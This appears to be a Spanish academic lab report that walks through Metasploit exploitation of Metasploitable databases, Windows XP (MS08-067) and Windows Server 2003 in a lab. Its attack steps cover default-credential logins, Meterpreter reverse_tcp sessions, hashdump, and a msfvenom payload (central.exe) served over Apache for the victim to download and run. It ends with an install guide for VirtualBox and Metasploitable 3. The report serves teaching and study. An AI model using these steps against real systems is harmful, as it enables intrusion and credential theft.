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Lo siguiente que hicimos fue ingresar el comando Options esto lo hacemos para que se 

nos revela la tabla que nos dirá que necesitamos para ingresar de forma remota a la base de datos 

MySQL. Si observamos, la tabla nos dice que necesitamos registrar un usuario (rectángulo 

azul), una contraseña  (rectángulo amarillo) y el Rhosts de la maquina  (rectángulo Naranjado) 

Donde falta dice que para ingresar a mysql necesitamos la contraseña y el rhosts 

Observación: Se puede observar que hasta el momento no emos ingresado nada de esos 

campos aun por lo que procederemos a hacerlo ya. 

 

Figura  33. Ingresamos el RHOSTS 

Utilizando el comando Set rhosts 192.1.1.6, Se ingreso la ip que comunica a la máquina 

virtual de metaploteible. 

 

Figura  34. Registro del Usuario y la Contraseña 

Para este caso, usamos los comandos set password root y set username root , estos 

comandos permiten registras la contraseña y el usuario por defecto a nuestra tabla, lo que nos 

permitirá acceder de remota a esta base de datos, es recomendable que se usen estos usuarios 

porque están por defecto dentro de la base de datos.  



70 

 

 

Figura  35. Muestra de Que Las Configuraciones se Guardaron  

Se ve como registramos un usuario (rectángulo azul), una contraseña  (rectángulo 

amarillo) y el Rhosts de la maquina  (rectángulo Naranjado) 

 

Figura  36. Corremos Los Servicios 

Con Run  corremos la configuración  del módulo luego cambiamos de página eh 

ingresamos al servicio con  la contraseña que configuramos. 
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Figura  37. Ingreso a MySQL 

 Ingreso a MySQL  con los comandos mysql -h 192.1.1.6 -u root - -skip-ssl  esta es una 

forma de ingreso  de forma remota, por último, ingresamos show database;  podemos ver la 

tabla de usuario de la base de datos.  

2.8.2.7  Puerto 5432 (PostGres) paso 10 

Para vulnerar el ultimo puerto hicimos casi lo mismo que se hizo con en el paso 9. Luego 

de ingresar al frameword de metaplotaible ingresamos el comando Search postgres_login  aquí 

escogeremos el modulo que utilizaremos para obtener acceso a esta base de datos.  

 

Figura  38. Elegimos el Módulo Necesario Para Vulnerar Postgres 
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 Lo segundo que hicimos fue elegir con el comando Use 0 (flecha azul) para elegir el 

módulo 0 que seria el modulo que vimos en la imagen anterior y por último miramos las 

opciones (flecha naranjada)  para este módulo.  

 

Figura  39. Elección de Modulo y Revisión de Sus Opciones 

A continuación mostrare las opciones que nos da este puerto para poder vulnerar  la base 

de datos postgres por medio de modulo que elegimos. 

 

Figura  40. Opciones Que Podemos Utilizar 

Ya podemos preceder a registrar y  rhosts, user y pass que vamos a necesitar para 

ingresar a la base de datos de postgres por lo que lo que haremos será registrarlos para proceder a 

vulnerar el servicio. 
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Figura  41. Se registran el Rhosts, User Y Pass 

Utilizando los comandos Set rhost 192.1.1.6, Set Username postgres y Set password 

postgres, registramos esto y luego miramos las opciones para ver si todo se registro con éxito. 

 

Figura  42. Revisión de Que Todo se Haya Registrado Con Éxito 
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Figura  43. Resultados obtenidos de la vulneración 

Al ejecutar la configuración del módulo con el comando run  identificaremos que hay 

una vulneración exitosa con las credenciales que registramos (Flecha verde) luego ingresamos de 

forma externa para probar que todo este correcto.  

 

Figura  44. Ingresamos a Postgres Desde Otra Terminal 

Usando el comando sql -h 192.1.1.6 -U postgres template1 ingresamos a la base de dato 

con nuestro usuario y contraseña  que configuramos culminando así con el informe y la práctica 

de los temas vistos en clase.  
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3. Capítulo 3: Uso de la herramienta Meterpreter en la Explotación de Máquinas 

Virtuales  

 

3.1. Introducción Del Capitulo 

Este capítulo presenta el desarrollo completo de una práctica en la cual se realizaron 

pruebas de explotación sobre sistemas operativos Windows XP y Windows Server 2003 

desde una máquina con Kali Linux. El objetivo principal fue demostrar el proceso necesario 

para generar un archivo malicioso (payload), transferirlo a la máquina víctima, ejecutarlo y 

establecer una conexión remota utilizando la herramienta Metasploit. 

Durante la práctica, se siguieron diferentes etapas: preparación del entorno, creación 

del ejecutable central.exe, configuración de un servidor web para su descarga, ejecución del 

archivo en la máquina Windows y posterior conexión mediante el módulo multi/handler de 

Metasploit. A través de estas acciones, se logró establecer una sesión con Meterpreter que 

permitió ejecutar comandos, obtener información del sistema y confirmar el nivel de control 

alcanzado. 

Todo el procedimiento se realizó en un entorno de laboratorio con fines académicos, 

lo que permitió comprender cómo funciona el flujo de una explotación práctica desde la 

creación del payload hasta la interacción con el sistema comprometido. Este ejercicio es 

fundamental para reforzar conocimientos sobre herramientas de auditoría y métodos de 

prueba utilizados en entornos controlados. 
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3.2. Objetivos 

 

3.2.1 Objetivo general 

Realizar una auditoría práctica de explotación sobre sistemas Windows XP y Windows 

Server 2003 desde un entorno Kali Linux, con el fin de identificar vulnerabilidades críticas y 

evidenciar el impacto de no aplicar actualizaciones de seguridad en sistemas obsoletos. 

 

3.2.2 Objetivos específicos 

• Preparar el entorno de laboratorio con las máquinas necesarias para la simulación 

del ataque. 

• Generar y configurar un payload para establecer una conexión remota con el 

sistema objetivo. 

• Ejecutar el proceso de explotación utilizando Metasploit y confirmar el acceso 

mediante sesiones de Meterpreter. 
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3.3. Planteamiento Del Problema de Este Capitulo  

Demostrar de forma práctica cómo es posible comprometer un sistema Windows obsoleto 

mediante la ejecución de un archivo generado desde Kali Linux y la conexión posterior con 

Metasploit. La dificultad principal consiste en realizar cada paso correctamente para que la 

explotación sea exitosa, desde la preparación del archivo ejecutable hasta la apertura de la sesión 

remota. 

Durante la práctica se planteó el reto de configurar adecuadamente la ruta del payload, 

establecer los permisos correctos para que pudiera descargarse desde el navegador y asegurarse 

de que el servidor Windows pudiera ejecutar el archivo sin inconvenientes. Una vez superados 

estos puntos, el siguiente desafío fue configurar Metasploit con los parámetros adecuados 

(LHOST, LPORT, tipo de payload) para que la conexión se estableciera de forma estable. 
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3.4. Explotación de Kali Linux a Windows XP 

En este paso lo que hice fue abrir la herramienta Metasploit desde mi máquina Kali 

Linux. Para eso utilicé el comando msfconsole, que es el que inicia la consola principal del 

programa. Una vez se cargó, me apareció la pantalla de bienvenida con el logo en ASCII y un 

mensaje característico que muestra Metasploit. 

Este es básicamente el punto de partida para comenzar a trabajar con la herramienta, ya 

que desde aquí puedo buscar exploits, configurarlos y usarlos contra la máquina objetivo. Es 

decir, estoy preparando el entorno para iniciar la explotación de vulnerabilidades más adelante. 

 

Después de iniciar Metasploit, lo que hice fue comenzar a buscar exploits que estuvieran 

relacionados con el servicio NetAPI, ya que este es uno de los más conocidos por tener 

vulnerabilidades en sistemas Windows antiguos. Para esto usé el comando search netapi. 

El sistema me devolvió una lista de varios exploits disponibles, entre ellos los más 

conocidos como el MS08-067, que aparece en la parte inferior de la lista. Este exploit es 

famoso 

Figura  45. Consola de Metasploi 
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porque aprovecha una falla grave en el servicio de red de Windows y fue uno de los más 

utilizados en su momento para comprometer equipos con Windows XP y 2003. 

Básicamente, en este punto lo que estaba haciendo era identificar qué vulnerabilidad 

podía ser explotada en la máquina víctima, y verificar que Metasploit tiene módulos listos 

para trabajar con esa debilidad. 

 

En esta parte ya seleccioné el exploit que iba a utilizar. Me decidí por el MS08-067, 

que es uno de los más efectivos para aprovechar vulnerabilidades en equipos con Windows 

XP o 2003. Para hacerlo, escribí el comando use exploit/windows/smb/ms08_067_netapi y 

con eso cargué el módulo dentro de Metasploit. 

Luego, revisé las opciones disponibles con el comando show options. Allí se 

muestran los parámetros que necesito configurar antes de lanzar el ataque. Entre esos 

aparece el RHOST, que es la dirección IP de la máquina víctima; el RPORT, que en este 

caso es el puerto 445 (por 

Figura  46. Busqueda de Exploits 
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donde funciona el servicio SMB); y además el payload que se va a usar, que en este caso es 

windows/meterpreter/reverse_tcp. 

 

En este punto lo que hice fue configurar la dirección IP de la máquina víctima. Para 

eso utilicé el comando set RHOSTS 10.10.10.8, que corresponde al equipo objetivo al que 

quiero atacar. Después volví a ejecutar show options para confirmar que la configuración se 

hubiera guardado correctamente. 

Como se puede ver en la pantalla, ahora el parámetro RHOSTS ya muestra la IP de 

destino (10.10.10.8). Los demás valores, como el puerto 445, ya estaban por defecto porque 

ese es el que usa el servicio SMB, y el payload sigue siendo 

windows/meterpreter/reverse_tcp. 

Con este paso dejé el exploit listo para ejecutarse sobre la máquina víctima, ya que ahora 

Metasploit sabe contra qué dirección debe lanzar el ataque. 

Figura  47. Selección del Exploit 



 

 
Figura  48. Configurar la Dirección IP de la Máquina Víctima 

 

Aquí lo que hice fue configurar el payload que iba a usar, en este caso 

windows/meterpreter/reverse_tcp. Esto significa que, si el exploit funciona, voy a obtener una 

conexión remota con la máquina víctima usando Meterpreter. 

Luego ejecuté el comando exploit para lanzar el ataque. El sistema empezó a trabajar: 

primero detectó el objetivo, que resultó ser un Windows XP con idioma en español, y después 

intentó aprovechar la vulnerabilidad. 

El ataque fue exitoso porque se abrió una sesión de Meterpreter, lo cual indica que logré 

acceso al equipo de la víctima. Sin embargo, la sesión se cerró rápidamente con el mensaje 

“Reason: Died”. 



 

 
Figura  49. Configurar el Payload 

 



 

 
Ejecuté nuevamente el exploit contra la máquina víctima. El sistema reconoció otra vez 

que se trataba de un Windows XP con Service Pack 3 en español, y luego envió la carga 

maliciosa para aprovechar la vulnerabilidad. 

En este intento, el ataque fue exitoso y logré abrir varias sesiones activas de 

Meterpreter, lo cual me dio acceso remoto estable al equipo objetivo. Esto significa que 

conseguí tomar el control de la máquina comprometida y desde este punto podría ejecutar 

comandos, explorar archivos o incluso mantener el acceso de forma persistente. 

Con este resultado confirmé que el exploit MS08-067 funciona correctamente en la 

víctima seleccionada y que es posible comprometer equipos vulnerables a través de esta falla. 

 
Figura  50. Ejecución Del Exploit de La Maquina 

 

En esta parte logré comprobar que la explotación fue totalmente exitosa. Desde la sesión 

de Meterpreter, abrí un servicio VNC que me permitió visualizar y controlar de forma remota el 

escritorio de la máquina víctima, la cual corre Windows XP. 

En la ventana se puede ver claramente que tuve acceso al sistema operativo, incluso 

abriendo una terminal de comandos donde ejecuté el comando ipconfig. Con esto confirmé que 

efectivamente estaba dentro de la red de la víctima, mostrando la dirección IP del equipo 

comprometido (10.10.10.8) y sus configuraciones de red. 



 

Este resultado es la prueba más evidente de que el ataque funcionó, ya que no solo logré 

abrir una sesión con Meterpreter, sino también controlar gráficamente la máquina objetivo como 

si estuviera frente a ella. 



 

 
Figura  51. Acceso Remoto Exitoso 

 

Luego ejecuté el comando sysinfo, con el cual confirmé que la máquina comprometida 

correspondía a un Windows XP SP3 (versión 5.1, build 2600), arquitectura x86, en idioma 

español, dentro del dominio INICIOMS, y que además tenía 2 usuarios activos en sesión. 

Con este procedimiento verifiqué que no solo contaba con acceso por consola, sino 

también con control visual e interactivo del entorno gráfico del sistema, lo cual amplía 

significativamente las posibilidades de manipulación dentro del ejercicio de explotación. 

Después de establecer la sesión con la máquina víctima, ejecuté el comando getuid en 

meterpreter para comprobar con qué nivel de privilegios había logrado acceder al sistema. El 

Figura  52. Ejecución Del Comando Sysinfo 



 

resultado mostró que mi usuario activo correspondía a NT AUTHORITY\SYSTEM, lo 

cual significa que obtuve los máximos privilegios dentro del sistema operativo. 

Esto confirma que la explotación fue totalmente exitosa, ya que no solo conseguí una 

sesión de meterpreter y acceso al escritorio remoto mediante VNC, sino también el control 

absoluto de la máquina víctima con permisos de administrador a nivel de sistema. 

 

Una vez confirmé que ya me encontraba ejecutando la sesión con privilegios de 

SYSTEM, utilicé el comando getsystem para verificar si era posible elevar privilegios, pero el 

resultado mostró que ya estaba corriendo como SYSTEM, lo que ratificó mi control absoluto 

sobre la máquina. 

Posteriormente, ejecuté el comando hashdump, el cual me permitió extraer los hashes de 

las contraseñas almacenadas en el sistema operativo. Como resultado, obtuve los registros de 

varios usuarios locales, entre ellos: 

• Administrador 

• Asistente de ayuda 

• Invitado 

• SUPPORT_388945a0 

• Yeco 

Con esta información, confirmé que no solo tenía el control total de la máquina, sino 

también acceso a los hashes de credenciales que podrían ser crackeados posteriormente para 

Figura  53. Ejecución Del Comando Comando Getuid 



 

obtener las contraseñas en texto plano. Este paso demuestra cómo, a través de la 

explotación exitosa, es posible comprometer completamente la seguridad del sistema y acceder a 

información altamente sensible. 

 
Figura  54. Ejecución Del Getsystem 

 

En esta parte lo que hice fue listar todos los procesos que se estaban ejecutando en el 

sistema comprometido. Para eso usé el comando ps dentro de la sesión de meterpreter. Con este 

resultado pude ver el nombre de cada proceso, el usuario que lo estaba ejecutando y la ruta desde 

donde se estaba corriendo en Windows. Esto es importante porque me permite identificar 

procesos críticos del sistema como explorer.exe, lsass.exe o svchost.exe, y también ver si hay 

alguno sospechoso que me pueda servir para seguir con la explotación o para mantener el acceso. 

Figura  55. Ejecución Del Comando PS 



 

Aquí lo que hice fue usar el comando ipconfig dentro de la sesión de meterpreter para 

revisar la configuración de red de la máquina a la que accedí. Con esta información pude ver 

las interfaces de red disponibles, incluyendo la dirección IP asignada, que en este caso es 

10.10.10.8, junto con su máscara de red. Esto me sirve para saber en qué red interna se 

encuentra el equipo, qué conexión está usando y también para planear posibles movimientos 

laterales hacia otros dispositivos conectados en la misma red. 

 

En este paso utilicé el comando shell desde meterpreter para abrir una consola 

directamente en el sistema comprometido. Esto me permitió interactuar con el equipo víctima 

como si estuviera sentado frente a él. Al ejecutarlo, se creó un nuevo proceso y un canal de 

comunicación, y logré acceder a la línea de comandos de Windows XP en la carpeta 

C:\WINDOWS\system32. Con este acceso ya puedo lanzar comandos propios de Windows, lo 

que me da un mayor control sobre la máquina. 

Figura  56. Comando Ipconfig 



 

 
Figura  57. shell 

Una vez dentro de la consola de Windows, utilicé el comando cd .. dos veces para 

moverme hacia atrás en las carpetas. Al principio estaba ubicado en C:\WINDOWS\system32, 

luego pasé a la carpeta C:\WINDOWS y finalmente llegué al directorio raíz **C:**. Con este 

movimiento lo que hice fue ubicarme en la raíz del sistema para tener un mejor control y poder 

explorar más fácilmente el resto de los directorios del equipo. 

 

Aquí lo que hice fue usar el comando dir para listar el contenido del directorio principal 

**C:**. Al ejecutar el comando pude ver las carpetas más importantes del sistema, como 

Archivos de programa, Documents and Settings y WINDOWS, además de algunos archivos 

de configuración como AUTOEXEC.BAT y CONFIG.SYS. Esta información me sirve para 

Figura  58. Comando cd 



 

tener un panorama general de cómo está organizado el sistema y desde dónde puedo seguir 

explorando información relevante del equipo. 

 

En esta parte me moví hacia la carpeta Documents and Settings usando el comando cd 

Doc*, que me permitió acceder rápidamente sin escribir el nombre completo. Una vez dentro, 

ejecuté el comando dir para ver su contenido. Allí pude observar las carpetas de usuarios como 

All Users y Yeco, lo que me confirma que el sistema tiene varias cuentas registradas. Este paso es 

importante porque me da la posibilidad de explorar los archivos y configuraciones de cada 

usuario, donde generalmente se guarda información sensible. 

 
Figura  60. Carpeta Documents 

Aquí entré a la carpeta del usuario Yeco usando el comando cd Ye* y después ejecuté dir 

para ver su contenido. Dentro de este directorio encontré las carpetas típicas de un perfil de 

usuario en Windows, como Escritorio, Favoritos, Menú Inicio y Mis documentos.  

Figura  59. Comando dir 



 

Esto confirma que estoy navegando en los archivos personales del usuario, lo cual es muy 

útil porque en estas carpetas normalmente se guarda información privada, accesos directos o 

configuraciones que pueden darme más pistas para la auditoría. 

 

 

En este último paso accedí al Escritorio del usuario Yeco utilizando el comando cd Es* y 

luego ejecuté dir para ver qué archivos tenía allí guardados. El resultado mostró que en esa 

carpeta no había ningún archivo almacenado, solamente los directorios por defecto (“.” y “..”). 

Aunque no encontré nada en el Escritorio, este recorrido me permitió confirmar que tenía acceso 

total a la información personal del usuario, lo que es clave dentro de la práctica de auditoría de 

seguridad. 

 

Figura  61. Comando cd Ye* 

Figura  62. Comando cd Es* 



 

Aquí lo que hice fue crear nuevas carpetas en el Escritorio del usuario Yeco. Primero 

utilicé el comando mkdir LAB-FELIPE y verifiqué con dir que la carpeta se había creado 

correctamente. Luego repetí el mismo procedimiento con el comando mkdir LAB-ASPRILLA, 

y nuevamente comprobé con dir que ahora en el Escritorio existían las dos carpetas creadas. Con 

este ejercicio confirmé que tenía permisos de escritura en el sistema, lo cual significa que podía 

no solo leer información, sino también modificar y crear archivos en la máquina comprometida. 

 

Figura  63. Comando Mkdir LAB-FELIPE 

En esta última captura se puede ver en el Escritorio de Windows que efectivamente 

quedaron creadas las carpetas LAB-FELIPE y LAB-ASPRILLA, tal como lo hice desde la 

consola. Esto confirma que los comandos que ejecuté funcionaron correctamente y que los 

cambios se reflejaron de manera visible en el sistema víctima. Con esto demostré que no solo 

pude acceder y explorar el equipo, sino también modificarlo, lo cual es un indicador claro del 

nivel de control alcanzado durante la práctica. 

 



 

 

Primero, creé una carpeta llamada Laboratorio-asprilla para organizar todo el trabajo 

del ejercicio. Luego entré en esa carpeta para empezar a trabajar dentro de ella. Después, utilicé 

una herramienta para generar un archivo ejecutable que me iba a permitir conectarme de forma 

remota a la máquina Windows. Al principio cometí un error porque puse mal la ruta del archivo y 

no se pudo crear. 

Luego corregí el comando y volví a generarlo, esta vez en la carpeta correcta. El archivo 

se creó con éxito y se llamó central.exe. Este archivo será el que se ejecute en el servidor 

Windows para poder establecer la conexión. 

3.5. Explotación de Kali Linux a Windows server 2003 

Abrí el navegador en la máquina Windows y escribí la dirección del servidor 

(http://10.10.10.5). Al cargar la página, me apareció la pantalla por defecto de Apache2 en 

Debian, lo que significa que el servidor web está funcionando correctamente. Esta página indica 

que el servicio está activo y que puedo seguir trabajando con los archivos que suba a la carpeta 

del servidor web. 

 

Figura  64. Carpetas LAB-FELIPE y LAB-ASPRILLA 

http://10.10.10.5/


 

 

Primero creé una carpeta llamada Laboratorio-asprilla para organizar el trabajo. Entré 

en esa carpeta y utilicé la herramienta msfvenom para generar un archivo ejecutable que me 

permitiera conectarme de forma remota al servidor Windows. 

Al principio, cometí un error en la ruta donde iba a guardar el archivo, por eso el 

comando no funcionó. Luego corregí la ruta y volví a generar el payload correctamente con el 

nombre central.exe. Finalmente, comprobé que el archivo se creó bien ejecutando el comando ls, 

y ahí apareció el ejecutable listo para usar. 

 

 

Figura  65. Apache2 en Debian 



 

 

Después de generar el archivo central.exe, lo copié a la carpeta donde se guardan los 

archivos que se pueden descargar desde el navegador, que es /var/www/html/. Para poder 

hacerlo, utilicé permisos de administrador porque esa carpeta es del sistema. 

Luego le cambié los permisos al archivo para que pudiera ser ejecutado sin problemas por 

otros usuarios, asignándole permisos 755. Por último, entré a la carpeta /var/www/html/ y 

verifiqué que el archivo central.exe se había copiado correctamente, junto con otros archivos que 

ya estaban ahí. 

Luego, desde la máquina Windows Server 2003, abrí el navegador Internet Explorer y 

accedí a la dirección del servidor (http://10.10.10.5) para ver los archivos que estaban 

disponibles. Entre ellos estaba el archivo central.exe que había colocado antes. 

Hice clic en el archivo y apareció la opción para descargarlo. Lo guardé en el escritorio 

del servidor para tenerlo a la mano y poder ejecutarlo después. 

Figura  66. Carpeta Laboratorio-asprilla 

Figura  67. Archivo Central.exe 

http://10.10.10.5/


 

 

 

Después de descargar el archivo desde el navegador, verifiqué que el ejecutable 

central.exe se encontraba en el escritorio del servidor Windows. Esto me confirma que el 

archivo se copió y descargó correctamente, y ya está listo para ejecutarlo cuando lo necesite. 

 

Figura  69. Ejecutable central.exe 

 

Figura  68. máquina Windows Server 2003 



 

Después de preparar todo, abrí la herramienta Metasploit en Kali Linux usando el 

comando msfconsole. Esta herramienta sirve para gestionar los ataques y establecer la conexión 

con el archivo que se va a ejecutar en el servidor. 

Al iniciar, aparece una animación divertida que simula accesos denegados con mensajes 

como “YOU DIDN'T SAY THE MAGIC WORD”, pero esto solo es una parte estética. Luego 

cargó correctamente la consola, donde ya se puede empezar a configurar el exploit. 

Una vez en Metasploit, configuré el módulo necesario para conectarme con el archivo 

que se ejecutó en el servidor Windows. Primero seleccioné el exploit multi/handler, que sirve 

para recibir la conexión. Después, indiqué el tipo de conexión que iba a usar, que en este caso fue 

meterpreter reverse TCP. 

Luego configuré mi dirección IP (LHOST) y el puerto (LPORT) para que el servidor 

supiera a dónde conectarse. Finalmente ejecuté el exploit y, como se ve en la imagen, se 

estableció la sesión correctamente. Esto significa que ya tenía acceso remoto al servidor 

Windows 2003 desde mi Kali Linux. 

 

Figura  70. comando msfconsole 



 

 

Después de tener la conexión establecida con meterpreter, utilicé el comando sysinfo 

para obtener información del sistema comprometido. Pude confirmar que se trataba de un 

Windows Server 2003, con arquitectura x86, en idioma español y que había dos usuarios 

conectados. Esto me permite comprobar que la explotación fue exitosa y que ahora tengo control 

sobre el sistema remoto. 

 

Figura  72. Comando Sysinfo en Server 2003 

Después, utilicé el comando getuid para comprobar el usuario con el que tenía acceso y 

confirmé que era el administrador del servidor. Luego ejecuté el comando getsystem para elevar 

privilegios y conseguir control total del sistema. El resultado indicó que la técnica se aplicó 

correctamente, lo que significa que ahora tengo permisos completos sobre el servidor Windows.  

Figura  71. Ejecución en el Servidor Windows 

Figura  73. Comando getuid en Server 2003 



 

Utilicé el comando hashdump para extraer los hashes de las contraseñas de los usuarios 

del sistema. Esto me permitió obtener las credenciales cifradas del administrador, el invitado y 

otro usuario de soporte. Con estos hashes se podrían intentar ataques posteriores para descifrar 

las contraseñas. Esto confirma que el acceso fue completo y que se logró extraer información 

sensible del servidor. 

 

Figura  74. Comando hashdump en Server 2003 

Ejecuté el comando netstat desde la sesión de Meterpreter para revisar las conexiones 

activas en el servidor Windows. En la lista pude ver claramente que el archivo central.exe está 

en estado ESTABLISHED, lo que indica que la conexión entre el servidor y mi máquina Kali 

sigue activa y funcionando correctamente. Esto confirma que la sesión remota está establecida y 

operativa. 

 

Figura  75. Comando netstat en server 2003 

Por último, ejecuté el comando shell desde la sesión de Meterpreter para obtener acceso 

directo a la línea de comandos del sistema Windows. Esto me permitió interactuar con el servidor 

como si estuviera físicamente frente a él, usando su consola. Al aparecer la ruta 



 

C:\WINDOWS\system32>, confirmé que tengo control total del sistema mediante una consola 

remota. 

 
Figura  76. Comando shell en server 2003 

 

3.6.Conclusión 

Puedo concluir diciendo que la presente práctica permitió aplicar de forma progresiva y 

estructurada los conocimientos adquiridos sobre análisis de vulnerabilidades y pruebas de 

penetración en entornos controlados. A través del uso de herramientas especializadas como 

Nmap y Metasploit Framework, se logró identificar, evaluar y explotar múltiples servicios 

vulnerables presentes en la máquina virtual Metasploitable, tales como FTP, Telnet, Samba, 

MySQL, PostgreSQL y DNS. 

Finalizamos diciendo que cada uno de los pasos realizados, desde el escaneo de red, la 

detección de servicios, hasta la ejecución de exploits, evidenció la importancia de comprender 

cómo las configuraciones débiles y las versiones obsoletas pueden ser aprovechadas por un 

atacante para obtener acceso no autorizado. Asimismo, se fortalecieron competencias técnicas 

relacionadas con la lectura de banners, el uso de módulos de explotación, la interpretación de 

errores y la validación de resultados. 

  



 

4. Capítulo 4: Manuel Para instalar metaplotable 3 

 

4.1.Introducción 

El presente manual describe de manera detallada el procedimiento necesario para llevar a 

cabo la descarga e instalación de Metasploit 3, una de las herramientas más reconocidas en el 

ámbito de la seguridad informática ofensiva. Su propósito es guiar paso a paso al lector en la 

correcta obtención e implementación del software dentro de un entorno controlado, garantizando 

la comprensión de los aspectos técnicos y prácticos relacionados con su instalación inicial. 

Este documento está orientado al desarrollo de competencias en auditoría de seguridad y 

pruebas de penetración, en un marco estrictamente académico y con fines educativos. A lo largo 

de las instrucciones, se resaltan aspectos esenciales como la preparación del entorno, la 

configuración de los recursos necesarios y la verificación de la correcta instalación de Metasploit 

3. De esta manera, el manual no solo pretende servir como guía técnica para la descarga, sino 

también como apoyo en la formación de conocimientos básicos de ciberseguridad ofensiva, 

fomentando la responsabilidad y el uso ético de las herramientas presentadas.  



 

4.2.Alcance 

Este manual tiene como alcance principal llegar a  estudiantes, docentes y profesionales 

en formación dentro del área de la seguridad informática, con el propósito de proporcionar una 

guía clara y estructurada sobre el proceso de descarga e instalación de Metasploit 3. 

El documento en cuestión  se limita exclusivamente a: 

• Describir los pasos necesarios para obtener el software de fuentes oficiales. 

• Explicar el procedimiento de instalación en un entorno controlado. 

• Detallar las configuraciones básicas requeridas para asegurar el correcto 

funcionamiento de la herramienta. 

• Presentar recomendaciones para el uso responsable y ético de Metasploit en 

contextos académicos y de investigación. 

Dentro del  manual no se abordara el uso avanzado de Metasploit Framework ni el 

desarrollo de exploits personalizados, ya que su objetivo principal se centra en la instalación 

inicial y en la preparación del entorno para posteriores prácticas de auditoría de seguridad. 

. 



 

4.3.Objetivos 

4.3.1 General  

Proporcionar una guía clara y estructurada que permita realizar la descarga e instalación 

de Metasploit 3 de manera correcta, dentro de un entorno controlado, con fines académicos y de 

formación en seguridad informática. 

4.3.2 Específicos  

• Conseguir Metasploit 3 desde fuentes seguras con el fin de evitar posibles 

descargas de virus maliciosos dentro de nuestros pc. 

• Instalarlo en un entorno controlado, como una máquina virtual de VirtualBox o 

VMware, que son softwares para crear máquinas virtuales-  

• Hacer las configuraciones básicas para que el programa funcione correctamente y 

sin mayores problemas. 

• Tener una primera idea de cómo preparar tu entorno para futuras prácticas de 

auditoría y pruebas de seguridad.  



 

4.4. Planteamiento Del Problema 

En un entorno cada vez más digitalizado e interconectado, las organizaciones, 

instituciones educativas y usuarios particulares dependen en gran medida de sistemas 

informáticos que ofrecen múltiples servicios en red. Esta creciente dependencia ha traído consigo 

una expansión de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde 

un atacante podría comprometer la seguridad d En la actualidad, la ciberseguridad se ha 

convertido en un aspecto esencial para organizaciones, instituciones educativas y usuarios 

particulares, debido a la creciente dependencia de sistemas informáticos y redes interconectadas. 

Esta realidad ha generado la necesidad de contar con herramientas que permitan comprender, 

analizar y mitigar posibles vulnerabilidades antes de que sean aprovechadas por atacantes 

malintencionados. 

En el ámbito académico, uno de los principales retos consiste en brindar a los estudiantes 

la posibilidad de adquirir experiencia práctica en auditoría de seguridad y pruebas de 

penetración. No obstante, realizar este tipo de prácticas directamente sobre sistemas reales 

implica riesgos éticos, legales y técnicos que pueden comprometer la estabilidad de los entornos 

de trabajo. Por esta razón, el uso de entornos controlados y herramientas específicas se vuelve 

indispensable para un aprendizaje responsable y seguro. 

Metasploit Framework se ha consolidado como una de las herramientas más utilizadas 

para la explotación de vulnerabilidades en entornos de práctica, ya que facilita la comprensión de 

conceptos clave de la ciberseguridad ofensiva. Sin embargo, un obstáculo frecuente en los 

procesos formativos radica en que muchos estudiantes carecen de una guía clara sobre cómo 

descargar, instalar y configurar correctamente la herramienta, lo que dificulta su 

aprovechamiento pleno en escenarios educativos. 



 

Este manual surge como respuesta a dicha necesidad, ofreciendo una explicación paso a 

paso sobre el proceso de descarga e instalación de Metasploit 3 en un entorno controlado. Con 

ello, se busca garantizar que los estudiantes puedan contar con la herramienta lista para su uso, 

favoreciendo el desarrollo de competencias prácticas en seguridad informática y fomentando un 

aprendizaje ético, seguro y estructurado. 

4.5. Elementos Necesarios Para Descargar Metasploitable 3   

Lo primero que debemos saber antes de comenzar a descargar Metasploitable 3 es cuales 

son los elementos y/o aplicaciones necesarias para poder descargar este repositorio. Las 

condiciones necesarias para descargar metasploitable 3 son: 

• Tener descargado VirtualBox  o cualquier otro gestor de maquinas virtuales que 

nos permita tener una o mas maquinas virtuales  

• Descargar Vagrant para poder levantar entornos de desarrollo de manera rápida y 

segura. 

• Tener sistema operativo anfitrión compatible que permita descargar lo antes 

mencionado. 

• Tener un pc que cumpla con las características de hardware  optimas para poder 

trabajar con este repositorio. Las características mínimas pueden ser Procesador 

con al menos 2 núcleos (idealmente 4 o más), 8 GB de memoria RAM (mínimo 4 

GB, pero puede quedarse corto), 60 GB de espacio libre en disco duro. 

• Tener una conexión a internet estable para la descarga de dependencias y 

repositorios necesario para trabajar con Metasploitable 3. 

  



 

4.6. Paso 1: Descargamos VirtualBox 

Si se tiene descargado VirtualBox se puede omitir este paso, de lo contrario lo primero 

que haremos es  ir al enlace https://www.virtualbox.org/wiki/Downloads  o seguir el paso a paso 

que se detallara a continuación. 

4.6.1  ¿ Cómo Descargar VirtualBox? 

El paso a paso para descargar VirtualBox es muy sencillo en realidad, lo primero que 

debemos hacer es desde nuestro navegador buscar la página oficial de Oracle VirtualBox o 

ingresar al enlace dado anteriormente, si se eligió el enlace  

Así. 

 

Figura  77. Búsqueda de la Pagina Para Descargar VirtualBox 

Luego ingresamos a la página de encontraremos lo siguiente. 

https://www.virtualbox.org/wiki/Downloads


 

 

Figura  78. Página Oficial de VirtualBox Para Descargarlo 

 Estando aquí elegimos el botón azul y fuimos a otra ventana. 

 

Figura  79. Selección Del Sistema en el Que se Usara VirtualBox 

En esta ventana, seleccionamos Windows porque es el sistema operativo de nuestro pc. 

Luego comenzara nuestra descarga. En algunos navegadores tendremos que elegir la carpeta en 

donde nuestro archivo se guardara, en otro la descarga se guarda automáticamente en la carpeta 

de descarga, en mi caso elegí la carpeta en donde se guardó mi ISO y ahí guarde el archivo de 

descarga de VirtualBox. 



 

 

Figura  80. Descarga de VirtualBox terminada 

La imagen anterior muestra nuestra descarga terminada.  

4.6.2 Instalación de  VirtualBox 

Para descargar VirtualBox el proceso es prácticamente el mismo paso que en VMware, 

primero buscamos el setup. 

 

Figura  81. Abrimos el Setup 

Luego de ingresar a esta sección le damos en next para ir a la siguiente página. 

 

Figura  82. Seleccionamos Nuestra Opcion 



 

Para mi caso, me salen estas opciones porque ya tengo el VirtualBox instalado, pero 

elegiré la opción de reparar para seguir descargando la aplicación. 

 

Figura  83. Ventana Final 

Si no tiene el VirtualBox descargado simplemente le das siguiente a todas las opciones y 

ya estaríamos así.  

 

Figura  84. VirtualBox Desde el Escritorio 



 

Aquí podemos ver el software VirtualBox  en nuestro escritorio luego de hacer la 

instalación pertinente. 

Según (Oracle, 2024) “VirtualBox es un software de virtualización completo de propósito 

general para hardware x86_64 (con la versión 7.1 adicionalmente para macOS/Arm), dirigido a 

computadoras portátiles, computadoras de escritorio, servidores y uso integrado.” 

4.6.2.1 Características de VirtualBox 

Según Oracle las principales características de VirtualBox son: 

• Soporte para sistemas operativos invitados como Debian, Ubuntu, Kali Linux, 

Windows, entre otros. 

